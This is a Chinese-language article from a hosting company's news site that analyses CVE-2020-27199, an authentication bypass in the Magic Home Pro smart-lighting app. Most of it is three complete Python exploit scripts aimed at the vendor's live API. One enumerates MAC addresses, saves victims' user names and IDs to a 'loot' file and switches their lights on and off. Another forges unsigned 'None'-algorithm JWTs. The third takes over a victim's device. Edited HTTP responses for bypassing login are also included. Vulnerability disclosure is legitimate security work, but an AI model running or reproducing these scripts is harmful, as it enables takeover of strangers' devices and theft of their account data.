意见箱
恒创运营部门将仔细参阅您的意见和建议,必要时将通过预留邮箱与您保持联络。感谢您的支持!
意见/建议
提交建议

Magic Home Pro身份认证绕过漏洞CVE-2020-27199的示例分析

来源:恒创科技 编辑:恒创科技编辑部
2023-12-03 09:44:59

这篇文章主要介绍Magic Home Pro身份认证绕过漏洞CVE-2020-27199的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!

前期准备工作

一台已Root的Android手机;

JAR重新签名,重新构建APK;


Magic Home Pro身份认证绕过漏洞CVE-2020-27199的示例分析

Frida证书绑定绕过;

漏洞简报

受影响应用:Magic Home Pro

产品厂商:JadeHomic

WiFi控制器产品厂商:Suzhou SmartChip Semiconductor Co.,Ltd

厂商官网:JadeHomic

受影响产品代码:Magic Home Pro

漏洞介绍

该漏洞将允许任何经过身份验证的用户使用其当前授权级别,通过调用/app/getBindedUserListByMacAddress/ZG001?macAddress=<mac address> API来查询与其注册产品无关的终端节点。这将导致服务器端返回响应信息 并指示目标节点是否存在,然后返回相关节点的用户名、用户唯一标识符(userUniID)和绑定唯一ID(bindedUniID)。

通过执行上述查询请求,攻击者就可以利用指向/app/sendCommandBatch/ZG001 API的未授权POST请求、新枚举的Mac地址和兼容的十六进制命令71230fa3(ON)及71240fa4(OFF)来向远程节点发送命令了。

JWT伪造

初始枚举完成后,攻击者还可以使用JWT Payload数据中的userID和uniID伪造JWT,本质上来说应该是可以将令牌降级为使用JWT Header字段中的“None”算法(签名绕过漏洞)。在该漏洞的帮助下,攻击者将能够通过向/app/shareDevice/ZG001发起远程API调用并使用friendUserID这个JSON参数来将目标设备添加至攻击者的设备列表中,从而实现攻击,此时攻击者将能够完全获取目标设备的控制权限。

漏洞类型

绕过身份验证

信息披露

未经授权的访问

横向权限提升

攻击向量

需要经过身份验证的用户

现有终端系统的成功枚举

随后将批处理命令发送到远程节点

设备接管

绕过身份验证

节点枚举和批处理命令漏洞利用PoC

我们的PoC将返回MAC地址范围内的最后字节进行枚举并返回结果,如果你需要的话,你也可以测试“远程执行”的效果。

import requestsimport jsonimport osfrom colorama import initfrom colorama import Fore, Back, Styleimport re '''First Stage AuthenticationSecond Stage EnumerateThird Stage Remote Execute''' global found_macaddressesfound_macaddresses = []global outtahereouttahere = ""q = "q"global token  def turnOn(target, token):     urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"    array = {        "dataCommandItems":[            {"hexData":"71230fa3","macAddress":target}        ]    }    data = json.dumps(array)    headersOn = {        "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",        "Accept-Language": "en-US",        "Accept": "application/json",        "Content-Type": "application/json; charset=utf-8",        "token":token,        "Host": "wifij01us.magichue.net",        "Connection": "close",        "Accept-Encoding": "gzip, deflate"    }    print (Fore.WHITE + "[+] Sending Payload ...")    response = requests.post(urlOn, data=data, headers=headersOn)    if response.status_code == 200:        if "true" in response.text:            print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched On")        else:            print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}") def turnOff(target, token):     urlOff = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"    array = {        "dataCommandItems":[            {"hexData":"71240fa4","macAddress":target}        ]    }    data = json.dumps(array)    headersOff = {        "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",        "Accept-Language": "en-US",        "Accept": "application/json",        "Content-Type": "application/json; charset=utf-8",        "token":token,        "Host": "wifij01us.magichue.net",        "Connection": "close",        "Accept-Encoding": "gzip, deflate"    }    print (Fore.WHITE + "[+] Sending Payload ...")    response = requests.post(urlOff, data=data, headers=headersOff)    if response.status_code == 200:        if "true" in response.text:            print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched Off")        else:            print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}") def lighItUp(target, token):     outtahere = ""    q = "q"    if len(str(target)) < 12:        print (Fore.RED + "[!] Invalid target" + Style.RESET_ALL)    elif re.match('[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}$', target.lower()):        while outtahere.lower() != q.lower():            if outtahere == "0":                turnOn(target, token)            elif outtahere == "1":                turnOff(target, token)            outtahere = input(Fore.BLUE + "ON/OFF/QUIT ? (0/1/Q): " + Style.RESET_ALL) def Main():    urlAuth = "https://wifij01us.magichue.net/app/login/ZG001"     data = {        "userID":"<Valid Registered Email/Username>",        "password":"<Valid Registered Password>",        "clientID":""    }     headersAuth = {        "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",        "Accept-Language": "en-US",        "Accept": "application/json",        "Content-Type": "application/json; charset=utf-8",        "Host": "wifij01us.magichue.net",        "Connection": "close",        "Accept-Encoding": "gzip, deflate"    }     # First Stage Authenticate     os.system('clear')    print (Fore.WHITE + "[+] Authenticating ...")    response = requests.post(urlAuth, json=data, headers=headersAuth)    resJsonAuth = response.json()    token = (resJsonAuth['token'])     # Second Stage Enumerate     print (Fore.WHITE + "[+] Enumerating ...")    macbase = "C82E475DCE"    macaddress = []    a = ["%02d" % x for x in range(100)]    for num in a:        macaddress.append(macbase+num)     with open('loot.txt', 'w') as f:        for mac in macaddress:            urlEnum = "https://wifij01us.magichue.net/app/getBindedUserListByMacAddress/ZG001"            params = {                "macAddress":mac            }             headersEnum = {                "User-Agent": "Magic Home/1.5.1(ANDROID,9,en-US)",                "Accept-Language": "en-US",                "Content-Type": "application/json; charset=utf-8",                "Accept": "application/json",                "token": token,                "Host": "wifij01us.magichue.net",                "Connection": "close",                "Accept-Encoding": "gzip, deflate"            }             response = requests.get(urlEnum, params=params, headers=headersEnum)            resJsonEnum = response.json()            data = (resJsonEnum['data'])            if not data:                pass            elif data:                found_macaddresses.append(mac)                print (Fore.GREEN + "[*] MAC Address Identified: " + Style.RESET_ALL + f"{mac}" + Fore.GREEN + f", User: " + Style.RESET_ALL + f"{(data[0]['userName'])}, " + Fore.GREEN + "Unique ID: " + Style.RESET_ALL + f"{data[0]['userUniID']}, " + Fore.GREEN + "Binded ID: " + Style.RESET_ALL + f"{data[0]['bindedUniID']}")                f.write(Fore.GREEN + "[*] MAC Address Identified: " + Style.RESET_ALL + f"{mac}" + Fore.GREEN + f", User: " + Style.RESET_ALL + f"{(data[0]['userName'])}, " + Fore.GREEN + "Unique ID: " + Style.RESET_ALL + f"{data[0]['userUniID']}, " + Fore.GREEN + "Binded ID: " + Style.RESET_ALL + f"{data[0]['bindedUniID']}\n")            else:                print (Fore.RED + "[-] No results found!")                print(Style.RESET_ALL)         if not found_macaddresses:            print (Fore.RED + "[-] No MAC addresses retrieved")        elif found_macaddresses:            attackboolean = input(Fore.BLUE + "Would you like to Light It Up ? (y/N): " + Style.RESET_ALL)            if (attackboolean.upper() == 'Y'):                target = input(Fore.RED + "Enter a target device mac address: " + Style.RESET_ALL)                lighItUp(target, token)            elif (attackboolean.upper() == 'N'):                print (Fore.CYAN + "Sometimes, belief isn’t about what we can see. It’s about what we can’t."+ Style.RESET_ALL)            else:                print (Fore.CYAN + "The human eye is a wonderful device. With a little effort, it can fail to see even the most glaring injustice." + Style.RESET_ALL) if __name__ == "__main__":Main()

枚举结果

令牌伪造PoC

攻击者可以使用枚举成功后返回的userID和uniqID,并利用这个令牌伪造PoC来生成一个新的已签名令牌并绕过JWT。

#!/usr/local/bin/python3 import url64import requestsimport jsonimport sysimport osfrom colorama import initfrom colorama import Fore, Back, Styleimport reimport timefrom wsgiref.handlers import format_date_timefrom datetime import datetimefrom time import mktime now = datetime.now()stamp = mktime(now.timetuple()) '''HTTP/1.1 200Server: nginx/1.10.3Content-Type: application/json;charset=UTF-8Connection: close "{\"code\":0,\"msg\":\"\",\"data\":{\"webApi\":\"wifij01us.magichue.net/app\",\"webPathOta\":\"http:\/\/wifij01us.magichue.net\/app\/ota\/download\",\"tcpServerController\":\"TCP,8816,ra8816us02.magichue.net\",\"tcpServerBulb\":\"TCP,8815,ra8815us02.magichue.net\",\"tcpServerControllerOld\":\"TCP,8806,mhc8806us.magichue.net\",\"tcpServerBulbOld\":\"TCP,8805,mhb8805us.magichue.net\",\"sslMqttServer\":\"ssl:\/\/192.168.0.112:1883\",\"serverName\":\"Global\",\"serverCode\":\"US\",\"userName\":\"\",\"userEmail\":\"\",\"userUniID\":\"\"},\"token\":\"\"}"''' def Usage():    print (f"Usage: {sys.argv[0]} <username> <unique id>") def Main(user, uniqid):    os.system('clear')    print ("[+] Encoding ...")    print ("[+] Bypass header created!")    print ("HTTP/1.1 200")    print ("Server: nginx/1.10.3")    print ("Date: "+str(format_date_time(stamp))+"")    print ("Content-Type: application/json;charset=UTF-8")    print ("Connection: close")     jwt_header = '{"typ": "JsonWebToken","alg": "None"}'    jwt_data = '{"userID": "'+user+'", "uniID": "'+uniqid+'","cdpid": "ZG001","clientID": "","serverCode": "US","expireDate": 1618264850608,"refreshDate": 1613080850608,"loginDate": 1602712850608}'    jwt_headerEncoded = url64.encode(jwt_header.strip())    jwt_dataEncoded = url64.encode(jwt_data.strip())    jwtcombined = (jwt_headerEncoded.strip()+"."+jwt_dataEncoded.strip()+".")    print ("{\"code\":0,\"msg\":\"\",\"data\":{\"webApi\":\"wifij01us.magichue.net/app\",\"webPathOta\":\"http://wifij01us.magichue.net/app/ota/download\",\"tcpServerController\":\"TCP,8816,ra8816us02.magichue.net\",\"tcpServerBulb\":\"TCP,8815,ra8815us02.magichue.net\",\"tcpServerControllerOld\":\"TCP,8806,mhc8806us.magichue.net\",\"tcpServerBulbOld\":\"TCP,8805,mhb8805us.magichue.net\",\"sslMqttServer\":\"ssl:\/\/192.168.0.112:1883\",\"serverName\":\"Global\",\"serverCode\":\"US\",\"userName\":\""+user+"\",\"userEmail\":\""+user+"\",\"userUniID\":\""+uniqid+"\"},\"token\":\""+jwtcombined+"\"}") if __name__ == "__main__":    if len(sys.argv) < 3:        Usage()    else:        Main(sys.argv[1], sys.argv[2])

设备接管PoC

攻击者可以利用该漏洞并使用攻击者的邮件(用于接管目标帐户的注册帐户)、目标用户邮件(要接管的目标帐户)、目标设备Mac地址(与目标电子邮件地址关联)和伪造的令牌来接管目标设备。

#!/usr/local/bin/python3 import url64import requestsimport jsonimport sysimport osfrom colorama import initfrom colorama import Fore, Back, Styleimport re def Usage():    print (f"Usage: {sys.argv[0]} <attacker email> <target email> <target mac address> <target forged token>") def Main():     attacker_email = sys.argv[1]    target_email = sys.argv[2]    target_mac = sys.argv[3]    forged_token = sys.argv[4]     os.system('clear')    print (Fore.WHITE + "[+] Sending Payload ...")    url = "https://wifij01us.magichue.net/app/shareDevice/ZG001"     array = {"friendUserID":attacker_email, "macAddress":target_mac}     data = json.dumps(array)     headers = {        "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",        "Accept-Language": "en-US",        "Accept": "application/json",        "Content-Type": "application/json; charset=utf-8",        "token":forged_token,        "Host": "wifij01us.magichue.net",        "Connection": "close",        "Accept-Encoding": "gzip, deflate"    }        response = requests.post(url, data=data, headers=headers)    if response.status_code == 200:        if "true" in response.text:            print (Fore.GREEN + "[*] Target is now yours ... " + Style.RESET_ALL)        else:            print (Fore.RED + "[-] Failed to take over target !" + Style.RESET_ALL) if __name__ == "__main__":    if len(sys.argv) < 5:        Usage()    else:        Main()

成功的POST请求/响应交换样例

POST Request POST /app/shareDevice/ZG001 HTTP/1.1User-Agent: Magic Home/1.5.1(ANDROID,9,en-US)Accept-Language: en-USAccept: application/jsontoken: <forged token, representing the target victim>Content-Type: application/json; charset=utf-8Content-Length: 72Host: wifij01us.magichue.netConnection: closeAccept-Encoding: gzip, deflate {"friendUserID":"<attackercontrolled email>","macAddress":"<victim mac address>"} Response HTTP/1.1 200Server: nginx/1.10.3Date: Tue, 07 Jul 2020 05:31:33 GMTContent-Type: application/json;charset=UTF-8Connection: closeContent-Length: 31 {"code":0,"msg":"","data":true}

认证绕过(Magic Home Pro)(CVE-2020-27199)

利用JSON令牌伪造以及基于上述枚举的收集信息(即目标用户的电子邮件、ClientID和UniqID),攻击者可以通过篡改HTTP响应绕过移动应用程序的身份验证过程,从而获得应用程序的非授权权限。

攻击者利用目标用户的电子邮件地址、任意密码和客户端来以目标用户身份使用Magic Home Pro应用程序。

然后,攻击者可以使用步骤1中的详细信息操作HTTP响应,该步骤将允许攻击者实现身份认证绕过。

Original HTTP Login Request via Magic Home Pro Mobile app POST /app/login/ZG001 HTTP/1.1User-Agent: Magic Home/1.5.1(ANDROID,9,en-US)Accept-Language: en-USAccept: application/jsontoken:Content-Type: application/json; charset=utf-8Content-Length: 117Host: wifij01us.magichue.netConnection: closeAccept-Encoding: gzip, deflate {"userID":"<victim userID>","password":"<arbitrary password>","clientID":"<arbitrary ClientID>"} Original HTTP Response HTTP/1.1 200Server: nginx/1.10.3Date: Thu, 08 Oct 2020 00:08:45 GMTContent-Type: application/json;charset=UTF-8Connection: closeContent-Length: 37 {"code":10033,"msg":"Password error"} Edited HTTP Response HTTP/1.1 200Server: nginx/1.10.3Date: Mon, 06 Jul 2020 12:32:02 GMTContent-Type: application/json;charset=UTF-8Connection: closeContent-Length: 907 {"code":0,"msg":"","data":{"webApi":"wifij01us.magichue.net/app","webPathOta":"http://wifij01us.magichue.net/app/ota/download","tcpServerController":"TCP,8816,ra8816us02.magichue.net","tcpServerBulb":"TCP,8815,ra8815us02.magichue.net","tcpServerControllerOld":"TCP,8806,mhc8806us.magichue.net","tcpServerBulbOld":"TCP,8805,mhb8805us.magichue.net","sslMqttServer":"ssl://192.168.0.112:1883","serverName":"Global","serverCode":"US","userName":"<victim userID>","userEmail":"<victim email>","userUniID":"<uniID gleaned from enumeration>"},"token":"<forged JWT based on gleaned data from API call>"}

以上是“Magic Home Pro身份认证绕过漏洞CVE-2020-27199的示例分析”这篇文章的所有内容,感谢各位的阅读!希望分享的内容对大家有帮助,更多相关知识,欢迎关注恒创行业资讯频道!

上一篇: mysql直接拷贝data目录下数据库源文件还原数据库方法 下一篇: web中常用的加密算法有哪些